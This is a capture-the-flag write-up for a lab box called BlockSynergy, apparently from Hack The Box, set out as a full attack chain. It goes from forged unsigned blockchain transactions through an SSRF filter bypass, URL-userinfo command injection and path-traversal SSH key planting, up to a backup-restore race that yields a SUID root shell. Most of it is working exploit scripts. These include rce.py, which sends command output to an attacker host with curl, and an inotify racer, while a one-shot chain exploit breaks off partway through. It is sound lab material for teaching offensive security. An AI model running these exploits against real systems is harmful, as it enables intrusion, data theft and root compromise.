BlockSynergy — Writeup — Peter Rakolcza

Summary of Exploitation

BlockSynergy is an insane-difficulty Linux box built around a Flask “blockchain” web application and a developer-centric smart-contract / backup pipeline. Starting completely unauthenticated against a single exposed web port, the chain proceeds as follows:

Unsigned-transaction coin forge — the app computes wallet balances by summing transactions by receiver without verifying signatures, and counts un-mined (pending) transactions. A single forged transaction crediting your own wallet mints an arbitrary balance and unlocks the VIP area.
SSRF in the VIP node tester — the “test node” feature performs a server-side requests.get() and reflects the raw response body, giving read access to localhost-only services (8080/admin, 5000). The SSRF blocklist is bypassed with http://0:PORT/.
Command injection → shell as walter — the localhost-only admin panel’s ping_node action parses the supplied URL and passes its userinfo component (the part before @) into a shell. Reached through the SSRF, this yields code execution as the web user walter. [USER]
Path traversal → lateral to hank — an internal smart-contract dev server on :5000 (running as hank) builds log-file paths from unsanitized contract metadata, giving arbitrary file write. Appending an SSH key to hank’s authorized_keys grants a shell as hank (group developers).
Restore-daemon inotify TOCTOU → root — a root service restores backups by extracting archives it writes into the developers-writable /var/restore_work. Triggering a cycle and swapping the archive in the validate→extract window plants a SUID-root binary, completing the chain. [ROOT]

Attacker Setup

All commands assume these placeholders — substitute your own values:

Placeholder	Meaning
`<target-ip>`	BlockSynergy IP
`<attacker-ip>`	your VPN (tun0) IP
`<YOUR_PUBKEY>`	the public half of an SSH keypair you generate

Generate the throwaway keypair used for the SSH footholds (its private half is referred to as wkey throughout and is never included here):

ssh-keygen -t ed25519 -f wkey -N '' -C attacker      # wkey (private) + wkey.pub (= <YOUR_PUBKEY>)
export B="http://<target-ip>:8080"
echo "<target-ip>  blocksynergy.htb" | sudo tee -a /etc/hosts

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap --min-rate 2000 <target-ip>

Results (abridged):

Port	State	Service	Version
22	open	ssh	OpenSSH (Ubuntu)
8080	open	http	Werkzeug/3.1.3 Python/3.12 — Flask app “BlockSynergy”

Key takeaways from recon:

Only two ports are exposed: SSH and a Flask development server on 8080. Everything interesting lives behind that single web app; other services are bound to localhost and only reachable once a server-side request primitive is found.
The 8080 banner is the Werkzeug dev server with debug OFF (generic HTTP 500s, no interactive traceback / reloader) — so no Werkzeug console shortcut.

Web Application Enumeration

Browsing the app reveals a toy blockchain platform — wallets, a mining/PoW interface, transaction broadcasting, and a “VIP” node-management area gated by wallet balance. The relevant endpoints:

Endpoint	Method	Purpose
`/mining_data`	GET	full chain + pending txns + difficulty
`/submit_block`	POST	`{address, block}` — submit a mined block
`/broadcast_transaction`	POST	broadcast a transaction (JSON)
`/nodes`	GET	registered peer-node list
`/dashboard/wallet`	POST	`action=create` / `action=load`
`/dashboard/info`	GET	wallet balance / info
`/dashboard/vip/nodes`	GET	VIP node management (needs balance ≥ 10)
`/dashboard/vip/nodes/test_node/<id>`	GET	“test” a registered node (the SSRF sink)

Two design facts stand out and drive the whole foothold:

Balance is trust-free. Inspecting /mining_data and the balance behaviour shows the balance for an address is the sum of transaction amounts where receiver == address, taken over both chain and pending transactions, with no signature verification on the summed transactions. Only block submission verifies signatures — plain broadcasting does not.
The Proof-of-Work is straightforward (only needed if you choose to mine rather than rely on pending balance):
```
sha256( str(index) + str(previous_hash) + str(timestamp) + json.dumps(data) + str(nonce) )
```
with a difficulty prefix of "00000" (five hex zeros, ~1M hashes → ~0.1 s with a multi-process miner — see fastmine.py in the appendix). Mining is not required for this path; pending balance alone unlocks VIP.

Gotcha — do not broadcast an empty {}. A pending transaction with no sender key makes the balance routine raise KeyError, which 500s every VIP route for every wallet. If it is ever mined into a block it becomes permanent in the append-only in-memory chain and only a box revert recovers it.

Exploitation Phase

Step 1 — Coin forge → VIP unlocked

Create a wallet, load it into the session, then broadcast a single well-formed but forged transaction crediting your own address. Because the balance calculation ignores signatures, the pending transaction alone pushes the balance over the VIP threshold.

Automated with forge_vip.py (full source in the appendix):

python3 forge_vip.py
#   [+] wallet addr: ...
#   [+] broadcast forged 1000-coin txn: Transaction will be added ...
#   [+] /dashboard/vip/nodes: 200  -> VIP UNLOCKED

Equivalent by hand:

# create wallet (JSON response holds our public_key = address)
curl -s -c cj -b cj -X POST "$B/dashboard/wallet" -F action=create -F filename=pwn > pwn.json
ADDR=$(python3 -c "import json;print(json.load(open('pwn.json'))['public_key'])")

# load wallet into the session
curl -s -c cj -b cj -X POST "$B/dashboard/wallet" -F action=load -F file=@pwn.json >/dev/null

# forge coins — unsigned txn crediting ourselves
curl -s -c cj -b cj -X POST "$B/broadcast_transaction" -H 'Content-Type: application/json' \
  -d "{\"sender\":\"Blockchain_Reward\",\"receiver\":\"$ADDR\",\"amount\":1000000,\"signature\":\"Blockchain\",\"timestamp\":\"now\"}"

# VIP now unlocked
curl -s -c cj -b cj "$B/dashboard/vip/nodes" -o vip.html   # HTTP 200

Step 2 — SSRF in the VIP node tester

The VIP area lets you register a node URL and then test it. Testing performs a server-side requests.get(node_url) and reflects the response body back into the page — a clean, output- returning SSRF. The node index is its position in GET /nodes.

python3 ssrf.py "http://0:8080/admin"    # read the localhost-only admin panel

Under the hood:

# register
curl -s -c cj -b cj -X POST "$B/dashboard/vip/nodes" -d "action=register&node=http://0:8080/admin"
# find the index in /nodes, then trigger the fetch
IDX=$(curl -s "$B/nodes" | python3 -c 'import sys,json;print(len(json.load(sys.stdin))-1)')
curl -s -c cj -b cj "$B/dashboard/vip/nodes/test_node/$IDX"

Blocklist bypass. The filter blocks 127.0.0.1, localhost, decimal/hex IPs, [::1], and nip.io. It does not block the short-form loopback: use http://0:PORT/ or http://0.0.0.0:PORT/.
Internal services revealed: 8080/admin (Admin Dashboard, gated by remote_addr == 127.0.0.1 — no header spoof works, SSRF is the only way in) and a smart-contract dev server on 5000.

Step 3 — Command injection → shell as `walter`

The admin panel’s ping_node action is GET-drivable and reachable through the SSRF. It parses the supplied target URL and passes the userinfo portion (everything before the @) into a shell — a command injection. Wrapping it in the SSRF gives RCE as the web user.

The outer request (sent as the node to test):

http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target=http://x;<CMD>;a@0.0.0.0:8080/

To keep the command free of / and spaces (which break URL parsing), hex-encode it and decode on the target:

<CMD> = echo${IFS}<hex>|xxd${IFS}-r${IFS}-p|sh

rce.py automates the whole thing — it stands up a local HTTP listener and exfils command output over HTTP:

# set IP/PORT at the top of rce.py to your VPN address first
python3 rce.py 'id; hostname; whoami'
#   uid=1000(walter) gid=1000(walter) groups=1000(walter)

The 8080 application runs as walter (/opt/blocksynergy/app.py, User=walter). Drop an SSH key for a stable shell:

python3 rce.py 'mkdir -p /home/walter/.ssh; echo "<YOUR_PUBKEY>" >> /home/walter/.ssh/authorized_keys'
ssh -i wkey walter@<target-ip>        # wrapper: ./s.sh

User flag:

./s.sh 'cat /home/walter/user.txt'
#   <user_flag>

Step 4 — Path traversal → lateral to `hank`

Port 5000 hosts a separate internal “Smart Contract” dev server (/opt/staging/smart_contracts, running as hank, bound to 127.0.0.1). Its ContractEngine (shipped with debug:"True") builds log/backup file paths from attacker-controlled contract metadata (__meta__.log_file / backup_filename) with no sanitization, giving arbitrary file read (via return_logs) and write/append (via the log/backup hooks) as hank.

Reach :5000 from the walter session (curl http://127.0.0.1:5000/...) or via the SSRF. Upload a contract whose on_mint log hook appends our SSH key to hank’s authorized_keys:

{
  "name": "x", "id": 1, "owner": "dev", "debug": "True",
  "logic":   { "mint": "allow" },
  "hooks":   { "on_mint": "log" },
  "storage": { "balances": {}, "total_supply": 0 },
  "__meta__": {
    "log_file": "../../../../home/hank/.ssh/authorized_keys",
    "log_content": { "on_mint": "\n<YOUR_PUBKEY>\n" }
  }
}

Upload via POST /dashboard (multipart contract_file), then trigger with the mint action (load_contract → contract_mint). hank_write.py does exactly this (copy it to the walter shell so it can reach 127.0.0.1:5000):

python3 hank_write.py          # writes our key into /home/hank/.ssh/authorized_keys
ssh -i wkey hank@<target-ip>   # wrapper: ./h.sh
#   uid=1001(hank) gid=1003(hank) groups=1003(hank),1001(developers)

cread.py provides arbitrary read as hank if needed (e.g. python3 cread.py ../../../../../../etc/passwd).

Step 5 — Restore-daemon inotify TOCTOU → root

Enumeration as hank (member of group developers):

./h.sh 'systemctl cat restore.service; grep restore /etc/crontab; ls -la /opt/backup /var/restore_work /opt/staging'

restore.service → root runs /bin/bash /opt/backup/restore_daemon.sh continuously.
/etc/crontab: */5 * * * * root /opt/backup/backup.sh.
/opt/backup is root:sysadmins 770 (scripts unreadable to hank).
/var/restore_work is root:developers 775 → hank-writable, and /opt/staging is hank:developers.

The mechanism (confirmed by watching /proc/<pid>/cmdline with a pspy-style poller — /proc command lines are world-readable on this host):

restore_daemon.sh (root) sits idle until the trigger file /opt/staging/restore exists. Since /opt/staging is developers-writable, hank can create it.
Once triggered, the daemon backs up /opt/blocksynergy and /opt/staging into /var/restore_work/_opt_blocksynergy.tar.gz and _opt_staging.tar.gz, validates each archive (a list pass), then extracts it back as root.
Between validate and extract there is a TOCTOU window. Because /var/restore_work is developers-writable, hank atomically renames a malicious archive over the _opt_*.tar.gz name in that window, so root extracts our contents.
The malicious archive holds a single entry opt/blocksynergy/.diag = a copy of /bin/bash with mode 04755 (SUID) uid 0. When root extracts it, we get a SUID-root bash.

Why the naïve approach fails: simply dropping a tar in /var/restore_work and waiting does nothing — the daemon never cycles without /opt/staging/restore, and it only ever touches the specific _opt_*.tar.gz names. The win is the inotify race, not a static drop.

root_pwn.py (appendix) bundles the payload builder + inotify racer. Run it as hank:

scp -i wkey root_pwn.py hank@<target-ip>:/tmp/
./h.sh 'python3 /tmp/root_pwn.py'
#   [*] payload: /var/restore_work/.pl_root1.tar.gz 689835 bytes
#   [*] racer armed; triggering restore cycles ...
#   [+] WON after N swaps. SUID root shell: /opt/blocksynergy/.diag
#   uid=1001(hank) ... euid=0(root)
#   ROOT_FLAG: <root_flag>

Collect the flag any time via the planted SUID binary:

./h.sh '/opt/blocksynergy/.diag -p -c "id; cat /root/root.txt"'
#   euid=0(root)
#   <root_flag>

Timing note. The daemon reacts to the trigger within a few seconds, so the race is usually won almost immediately; the backup.sh cron (every 5 min) also re-publishes a trusted archive, giving the race extra chances if the first cycle is missed. The payload archive is ~690 KB (a full /bin/bash).

Root Flag Successfully Obtained

$ /opt/blocksynergy/.diag -p -c 'cat /root/root.txt'
<root_flag>

Flags

flag	location	value
user	`/home/walter/user.txt`	`<user_flag>`
root	`/root/root.txt`	`<root_flag>`

Key Takeaways

Trust boundaries in the balance calc are the whole foothold. Summing transaction amounts without verifying signatures — and counting pending transactions — turns a one-line broadcast into arbitrary balance and the VIP gate. Signature checks existed only on block submission, not on broadcast.
Output-reflecting SSRF is a force multiplier. Because the node tester echoes the response body, the SSRF was not blind — it became a read primitive into localhost-only services, which is what exposed the vulnerable admin panel and the :5000 contract server.
Blocklists are not allowlists. 127.0.0.1/localhost were blocked but 0/0.0.0.0 loopback short-forms were not — a classic SSRF filter bypass.
URL parsing + shells don’t mix. Passing a URL’s userinfo component into a shell is a command-injection sink; the @-delimited userinfo is easy to overlook.
Unsanitized path metadata = arbitrary file R/W. The contract engine’s __meta__.log_file traversal gave a write-anywhere-as-hank primitive — enough to seed an SSH key.
Backup/restore automation is privilege-escalation surface. A root daemon that extracts archives out of a group-writable working directory is a textbook TOCTOU: winning the validate→extract window let an unprivileged extract deliver a SUID-root binary — no exploit binary, no memory corruption, just a race.
/proc is your friend when scripts are unreadable. The /opt/backup scripts were root:sysadmins 770, but /proc/<pid>/cmdline being world-readable let a pspy-style poller reveal exactly what the daemon executed — which disproved several wrong theories and pinned down the real trigger-and-race mechanism.

Full Attack Chain

unauthenticated (web app on :8080)
   └─ forge unsigned txn  ──>  balance ≥ 10  ──>  VIP unlocked
        └─ SSRF (test_node reflects body, http://0: bypass)  ──>  reach 8080/admin + :5000
             └─ admin ping_node userinfo → shell injection  ──>  shell as walter   [USER]
                  └─ :5000 contract __meta__.log_file traversal  ──>  SSH key write  ──>  hank (developers)
                       └─ /opt/staging/restore trigger + /var/restore_work TOCTOU  ──>  SUID-root .diag   [ROOT]

Appendix A — Scripts

Sensitive values are redacted: <target-ip>, <attacker-ip>, <YOUR_PUBKEY>, <YOUR_WALLET_ADDRESS>. Private keys and real flags are never included.

`forge_vip.py` — coin forge → VIP

#!/usr/bin/env python3
import requests, json, datetime, re, sys, warnings
warnings.filterwarnings("ignore")
BASE="http://<target-ip>:8080"
s=requests.Session()

# 1. create wallet
r=s.post(f"{BASE}/dashboard/wallet", data={"action":"create","filename":"pwn"}, timeout=20)
w=json.loads(r.text)
ADDR=w['public_key']
open('pwn.json','w').write(r.text)
print("[+] wallet addr:", ADDR[:24],"...")

# 2. load wallet into session
s.post(f"{BASE}/dashboard/wallet", data={"action":"load"},
       files={"file":("pwn.json",r.text,"application/json")}, timeout=20)

# 3. forge coins: broadcast a WELL-FORMED transaction crediting ourselves
#    (the balance calc does NOT verify signatures)
forged={"sender":"0"*128,"receiver":ADDR,"amount":1000,
        "signature":"0"*128,"timestamp":str(datetime.datetime.now())}
r=s.post(f"{BASE}/broadcast_transaction", json=forged, timeout=20)
print("[+] broadcast forged 1000-coin txn:", r.text.strip())

# 4. verify balance / VIP
info=s.get(f"{BASE}/dashboard/info", timeout=20)
txt=re.sub(r'<[^>]*>',' ',info.text); txt=re.sub(r'\s+',' ',txt)
m=re.search(r'Balance:\s*(-?\d+)', txt)
print("[+] balance:", m.group(1) if m else "?")

# 5. access VIP nodes page
r=s.get(f"{BASE}/dashboard/vip/nodes", timeout=20, allow_redirects=False)
print("[+] /dashboard/vip/nodes:", r.status_code)
open('vip_nodes_page.html','w').write(r.text)
if r.status_code==200:
    print("    -> VIP UNLOCKED. Page saved to vip_nodes_page.html")

`ssrf.py` — output-returning SSRF via test_node

import requests, warnings, json
warnings.filterwarnings("ignore")
BASE="http://<target-ip>:8080"
s=requests.Session()
wf=open('pwn.json').read()
s.post(f"{BASE}/dashboard/wallet", data={"action":"load"},
       files={"file":("pwn.json",wf,"application/json")}, timeout=20)

def ssrf(url, timeout=20):
    # register the url, then test the last index (= reflected GET of the URL)
    s.post(f"{BASE}/dashboard/vip/nodes", data={"action":"register","node":url}, timeout=timeout)
    after=requests.get(f"{BASE}/nodes",timeout=15).json()
    idx=len(after)-1
    r=s.get(f"{BASE}/dashboard/vip/nodes/test_node/{idx}", timeout=timeout)
    return r.status_code, r.headers.get('Content-Type'), r.text

if __name__=="__main__":
    import sys
    for u in sys.argv[1:]:
        code,ct,body=ssrf(u)
        print(f"=== {u} -> {code} ct={ct} len={len(body)}")
        print(body[:600]); print()

`rce.py` — walter RCE via admin `ping_node` userinfo injection

#!/usr/bin/env python3
import requests, warnings, urllib.parse, threading, base64, time, sys, http.server
warnings.filterwarnings("ignore")
BASE="http://<target-ip>:8080"; IP="<attacker-ip>"; PORT=5555
s=requests.Session()
s.post(f"{BASE}/dashboard/wallet", data={"action":"load"},
       files={"file":("pwn.json",open('pwn.json').read(),"application/json")}, timeout=20)

captured={}
class H(http.server.BaseHTTPRequestHandler):
    def _h(self):
        try:
            ln=int(self.headers.get('Content-Length',0)); body=self.rfile.read(ln) if ln else b''
        except: body=b''
        captured[self.path.strip('/')]=body
        self.send_response(200); self.send_header('Content-Length','2'); self.end_headers()
        self.wfile.write(b'ok')
    do_GET=_h; do_POST=_h
    def log_message(self,*a): pass

def start_listener():
    srv=http.server.HTTPServer(('0.0.0.0',PORT),H); srv.timeout=1
    return srv

def run(command, tag="r"):
    # exfil the command output back to our listener, base64-wrapped
    inner=f'( {command} ) 2>&1 | base64 | tr -d "\\n" | curl -s -m 8 http://{IP}:{PORT}/{tag} --data-binary @-'
    hexc=inner.encode().hex()
    # the injection lives in the URL userinfo (before @); ${IFS} avoids spaces, hex avoids / and :
    userinfo="$(echo${IFS}"+hexc+"|xxd${IFS}-r${IFS}-p|bash)"
    target=f"http://{userinfo}@0:8080/"
    q=urllib.parse.urlencode({"action":"ping_node","target":target})
    outer=f"http://0:8080/admin/nodes/manage?{q}"      # admin panel reached via SSRF
    captured.pop(tag,None)
    for _ in range(3):
        s.post(f"{BASE}/dashboard/vip/nodes", data={"action":"register","node":outer}, timeout=25)
        nodes=requests.get(f"{BASE}/nodes",timeout=15).json()
        if outer in nodes:
            idx=len(nodes)-1-nodes[::-1].index(outer)
            s.get(f"{BASE}/dashboard/vip/nodes/test_node/{idx}", timeout=25)
            break

if __name__=="__main__":
    srv=start_listener()
    cmd=" ".join(sys.argv[1:]) or "id; hostname; whoami"
    threading.Thread(target=lambda:[srv.handle_request() for _ in range(200)],daemon=True).start()
    import random as _r; TAG="t%d"%_r.randint(10000,99999)
    run(cmd,TAG)
    deadline=time.time()+15
    while time.time()<deadline and TAG not in captured: time.sleep(0.3)
    if TAG in captured:
        try: print(base64.b64decode(captured[TAG]).decode(errors="replace"))
        except Exception as e: print("decode err", e)
    else:
        print("[no output captured]")

`hank_write.py` — :5000 contract path-traversal write (→ hank SSH key)

import requests, re, json
requests.packages.urllib3.disable_warnings()
B="http://127.0.0.1:5000"                 # run this from the walter shell
PUB="""<YOUR_PUBKEY>"""
s=requests.Session()
contract={"name":"pwn","id":1,"owner":"Developer","debug":"True",
  "logic":{"mint":"allow"},
  "hooks":{"on_mint":"log"},
  "storage":{"total_supply":0,"balances":{}},
  "__meta__":{"log_file":"../../../../../../home/hank/.ssh/authorized_keys",
              # the newline puts the key on its own line, past the "[ts] [hook] " log prefix
              "log_content":{"on_mint":"\n"+PUB+"\n"}}}
s.post(f"{B}/dashboard",data={"action":"upload_contract"},
       files={"contract_file":("c.json",json.dumps(contract),"application/json")},timeout=15)
# newest contract id = our upload
myid=None
for cid in range(90,-1,-1):
    t=s.get(f"{B}/dashboard",params={"id":cid},timeout=15).text
    if "No Contract with this id found" not in t:
        myid=cid; break
print("my contract id:", myid)
# trigger the on_mint hook (no session needed, drive by ?id)
r=s.get(f"{B}/dashboard",params={"id":myid,"action":"contract_mint","contract_mint_amount":"1"},timeout=15)
print("mint flashes:", re.findall(r'(Error[^<]{0,100}|minting)', r.text) or "none")

`cread.py` — :5000 contract path-traversal read (as hank)

import requests, re, json, sys, html
requests.packages.urllib3.disable_warnings()
B="http://127.0.0.1:5000"
def read(tgt):
    s=requests.Session()
    c={"name":"r","id":1,"owner":"Developer","debug":"True","logic":{},"storage":{"balances":{}},
       "__meta__":{"log_file":tgt}}
    s.post(f"{B}/dashboard",data={"action":"upload_contract"},
           files={"contract_file":("c.json",json.dumps(c),"application/json")},timeout=15)
    for cid in range(80,-1,-1):
        t=s.get(f"{B}/dashboard",params={"id":cid},timeout=15).text
        if "No Contract with this id found" in t: continue
        m=re.search(r'Log Output.*?<pre[^>]*>(.*?)</pre>', t, re.S)
        if m: return cid, html.unescape(m.group(1)).strip()
        if "No log output available" in t: return cid, "[empty/None]"
        return cid, "[no-pre]"
    return None,"[no contracts]"
for tgt in sys.argv[1:]:
    cid,content=read(tgt)
    print(f"===== {tgt} (id={cid}) ====="); print(content[:2500])

`root_pwn.py` — restore-daemon inotify TOCTOU → SUID-root `.diag`

#!/usr/bin/env python3
"""
BlockSynergy — root privesc. Run ON the box as hank (member of 'developers').

Mechanism:
  restore_daemon.sh (root) is idle until /opt/staging/restore exists (developers-writable).
  Once triggered it backs up /opt/blocksynergy + /opt/staging into /var/restore_work/_opt_*.tar.gz,
  validates each (list pass), then extracts it back AS ROOT. /var/restore_work is developers-
  writable, so we win the validate->extract TOCTOU by swapping in a malicious archive containing
  a SUID-root bash at opt/blocksynergy/.diag. Then: /opt/blocksynergy/.diag -p -c '...'  => root.
"""
import ctypes, ctypes.util, io, os, shutil, struct, tarfile, time

W     = "/var/restore_work"
TRIG  = "/opt/staging/restore"
SRC   = os.path.join(W, ".pl_root1.tar.gz")
MARK  = "/opt/blocksynergy/.diag"
NAMES = ("_opt_blocksynergy.tar.gz", "_opt_staging.tar.gz")
IN_CLOSE_WRITE, IN_CLOSE_NOWRITE, IN_CREATE, IN_MOVED_TO = 0x8, 0x10, 0x100, 0x80

# 1) build payload: SUID-root bash as opt/blocksynergy/.diag
b = open("/bin/bash", "rb").read()
with tarfile.open(SRC, "w:gz") as t:
    ti = tarfile.TarInfo("opt/blocksynergy/.diag")
    ti.size, ti.mode, ti.uid, ti.gid, ti.mtime = len(b), 0o4755, 0, 0, int(time.time())
    t.addfile(ti, io.BytesIO(b))
print("[*] payload:", SRC, os.path.getsize(SRC), "bytes")

# 2) arm inotify racer
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
fd = libc.inotify_init()
libc.inotify_add_watch(fd, W.encode(), IN_CLOSE_WRITE | IN_CLOSE_NOWRITE | IN_CREATE | IN_MOVED_TO)
os.set_blocking(fd, False)
print("[*] racer armed; triggering restore cycles (up to ~400s)...")

end, done, last_trig, swaps = time.time() + 400, set(), 0, 0
while time.time() < end:
    if os.path.exists(MARK):
        break
    if time.time() - last_trig > 2:                      # keep the daemon cycling
        if not os.path.exists(TRIG):
            try: open(TRIG, "w").close()
            except Exception: pass
        last_trig = time.time()
    try:
        buf = os.read(fd, 8192)
    except BlockingIOError:
        time.sleep(0.002); continue
    except Exception:
        continue
    i = 0
    while i + 16 <= len(buf):
        _w, mask, _c, ln = struct.unpack_from("iIII", buf, i); i += 16
        nm = buf[i:i + ln].split(b"\x00", 1)[0].decode(errors="replace"); i += ln
        if not nm or nm.startswith(".pl_") or nm.endswith(".n"):
            continue
        if mask & (IN_CLOSE_WRITE | IN_MOVED_TO) and nm in NAMES:
            done.add(nm)                                  # archive written by daemon
        elif mask & IN_CLOSE_NOWRITE and nm in done:      # daemon validated -> swap before extract
            t = os.path.join(W, nm)
            try:
                shutil.copyfile(SRC, t + ".n"); os.rename(t + ".n", t); swaps += 1
            except Exception:
                pass
            done.discard(nm)

if os.path.exists(MARK):
    print("[+] WON after %d swaps. SUID root shell: %s" % (swaps, MARK))
    os.system("%s -p -c 'id; echo ROOT_FLAG:; cat /root/root.txt'" % MARK)
else:
    print("[-] timeout after %d swaps; re-run (backup cron re-publishes every ~5 min)" % swaps)

`fastmine.py` — multi-process PoW miner (only if you choose to mine)

import json, hashlib, requests, time
from multiprocessing import Pool
import warnings; warnings.filterwarnings("ignore")

BASE="http://<target-ip>:8080"
ADDR="<YOUR_WALLET_ADDRESS>"

def worker(args):
    index,prev,ts,data_str,diff,start,step=args
    base=str(index)+str(prev)+str(ts)+data_str
    n=start
    while True:
        h=hashlib.sha256((base+str(n)).encode()).hexdigest()
        if h.startswith(diff): return (n,h)
        n+=step

def mine(index,prev,ts,data,diff,procs=14):
    data_str=json.dumps(data)
    with Pool(procs) as p:
        args=[(index,prev,ts,data_str,diff,i,procs) for i in range(procs)]
        for res in p.imap_unordered(worker,args):
            p.terminate(); return res

def submit(data, label):
    md=requests.get(f"{BASE}/mining_data",timeout=20).json()
    diff=md['difficulty']; last=md['blockchain'][-1]
    index=last['index']+1; prev=last['hash']
    import datetime; ts=str(datetime.datetime.now())
    t0=time.time(); nonce,h=mine(index,prev,ts,data,diff); dt=time.time()-t0
    block={"index":index,"previous_hash":prev,"timestamp":ts,"data":data,"nonce":nonce,"hash":h}
    r=requests.post(f"{BASE}/submit_block",json={"address":ADDR,"block":block},timeout=20)
    print(f"[{label}] mined {dt:.2f}s idx={index} -> {r.status_code}: {r.text[:200]}")
    return r.text

if __name__=="__main__":
    forged={"sender":"SYSTEM","receiver":ADDR,"amount":1000,"signature":"forged",
            "timestamp":str(__import__('datetime').datetime.now())}
    submit([forged], "forged-only")

`s.sh` / `h.sh` — SSH wrappers (private key `wkey` not included)

# s.sh  — walter
#!/bin/bash
ssh -i wkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 -o LogLevel=ERROR walter@<target-ip> "$@"

# h.sh  — hank
#!/bin/bash
ssh -i wkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 -o LogLevel=ERROR hank@<target-ip> "$@"

Appendix B — Consolidated one-shot exploit

blocksynergy_pwn.py chains every step above (unauthenticated → user + root) in a single run. It generates its own ephemeral SSH keypair per run and takes the target on the command line — no secrets are embedded.

python3 blocksynergy_pwn.py -t <target-ip>           # full chain
python3 blocksynergy_pwn.py -t <target-ip> --check   # stop after proving RCE (no changes)

#!/usr/bin/env python3
"""BlockSynergy (HTB) — full exploit chain: unauthenticated -> user.txt + root.txt."""

import argparse, datetime, http.cookiejar, io, json, os, re, secrets, shutil, subprocess
import sys, tarfile, tempfile, time, urllib.error, urllib.parse, urllib.request

TAG = secrets.token_hex(4)
WALLET = "w" + TAG
KEYCOMMENT = "k" + TAG


def log(m):
    sys.stderr.write("[*] %s\n" % m); sys.stderr.flush()


def die(m):
    sys.stderr.write("[!] %s\n" % m); sys.exit(1)


# ----------------------------------------------------------------------------- HTTP client
class Web:
    def __init__(self, base, timeout=25):
        self.base = base.rstrip("/"); self.timeout = timeout
        self.cj = http.cookiejar.CookieJar()
        self.op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cj))

    def get(self, path, timeout=None):
        r = urllib.request.Request(self.base + path)
        with self.op.open(r, timeout=timeout or self.timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")

    def post_form(self, path, fields):
        data = urllib.parse.urlencode(fields).encode()
        r = urllib.request.Request(self.base + path, data=data, method="POST",
                                   headers={"Content-Type": "application/x-www-form-urlencoded"})
        with self.op.open(r, timeout=self.timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")

    def post_json(self, path, obj):
        data = json.dumps(obj).encode()
        r = urllib.request.Request(self.base + path, data=data, method="POST",
                                   headers={"Content-Type": "application/json"})
        with self.op.open(r, timeout=self.timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")

    def post_multipart(self, path, fields, files):
        b = "----b" + secrets.token_hex(8); body = []
        for k, v in fields.items():
            body.append(("--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n"
                         % (b, k, v)).encode())
        for k, (fn, content, ctype) in files.items():
            if isinstance(content, str): content = content.encode()
            body.append(("--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n"
                         "Content-Type: %s\r\n\r\n" % (b, k, fn, ctype)).encode() + content + b"\r\n")
        body.append(("--%s--\r\n" % b).encode())
        data = b"".join(body)
        r = urllib.request.Request(self.base + path, data=data, method="POST",
                                   headers={"Content-Type": "multipart/form-data; boundary=%s" % b})
        with self.op.open(r, timeout=self.timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")


# ---------------------------------------------------------------- steps 1-2: wallet + VIP
def make_wallet(w):
    _, body = w.post_multipart("/dashboard/wallet", {"action": "create", "filename": WALLET}, {})
    pub = json.loads(body)["public_key"]
    w.post_multipart("/dashboard/wallet", {"action": "load"},
                     {"file": (WALLET + ".json", body, "application/json")})
    return pub, body


def balance(w):
    try:
        _, t = w.get("/dashboard/info")
    except Exception:
        return 0
    m = re.search(r"Balance:\s*(-?\d+)", re.sub(r"<[^>]*>", "", t))
    return int(m.group(1)) if m else 0


def ensure_funds(w, pub):
    if balance(w) > 0: return
    tx = {"amount": 1000000, "receiver": pub, "sender": "Blockchain_Reward",
          "signature": "Blockchain", "timestamp": str(datetime.datetime.now())}
    w.post_json("/broadcast_transaction", tx)
    for _ in range(15):
        if balance(w) > 0: return
        time.sleep(0.5)


# ------------------------------------------------------------------- step 3: SSRF -> RCE
def nodes(w):
    _, body = w.get("/nodes"); return json.loads(body)


def ssrf_rce_output(w, pub, cmd, tries=60):
    if "/" in cmd: raise ValueError("command must not contain '/'")
    pay = "http://x;%s;a@0.0.0.0:8080/" % cmd
    trig = ("http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target="
            + urllib.parse.quote(pay, safe=""))
    for _ in range(tries):
        ensure_funds(w, pub)
        w.post_form("/dashboard/vip/nodes", {"action": "register", "node": pay})
        w.post_form("/dashboard/vip/nodes", {"action": "register", "node": trig})
        n = nodes(w)
        if pay not in n or trig not in n: continue
        try:
            _, body = w.get("/dashboard/vip/nodes/test_node/%d" % n.index(trig))
        except urllib.error.HTTPError as e:
            body = e.read().decode(errors="replace")
        anchor = body.find(pay)
        if anchor < 0: anchor = body.find(pay.replace("&", "&amp;"))
        if anchor >= 0:
            m = re.search(r"<pre[^>]*>(.*?)</pre>", body[anchor:], re.S)
            if m:
                import html
                out = html.unescape(m.group(1)).strip()
                if out: return out
        time.sleep(0.4)
    return None


def ssrf_run(w, pub, cmd, tries=60):
    hexcmd = cmd.encode().hex()
    wrapped = "echo${IFS}%s|xxd${IFS}-r${IFS}-p|sh" % hexcmd
    return ssrf_rce_output(w, pub, wrapped, tries=tries)


# ------------------------------------------------------------ full chain
def run(target, port, scheme, check_only):
    base = "%s://%s:%d" % (scheme, target, port)
    w = Web(base)

    log("step 1: wallet '%s' + forge coins" % WALLET)
    pub, _ = make_wallet(w)
    ensure_funds(w, pub)
    if balance(w) <= 0: die("could not fund wallet (VIP will not unlock)")
    log("    balance funded, VIP unlocked")

    log("step 3: RCE as the web user (id):")
    out = ssrf_rce_output(w, pub, "id")
    if not out: die("RCE did not return output; retry")
    uid = next((l for l in out.splitlines() if "uid=" in l), out.splitlines()[0])
    log("    %s" % uid.strip())
    if check_only:
        print(uid.strip()); return

    # ---- SSH keypair for the lateral hop (ephemeral, per-run) ----
    tmpdir = tempfile.mkdtemp(prefix="." + TAG)
    priv = os.path.join(tmpdir, "id")
    subprocess.run(["ssh-keygen", "-t", "ed25519", "-N", "", "-C", KEYCOMMENT, "-f", priv],
                   check=True, capture_output=True)
    pubkey = open(priv + ".pub").read().strip()

    # ---- step 4: lateral to the dev user ----
    log("step 4: lateral to the dev user via :5000 debug-hook traversal")
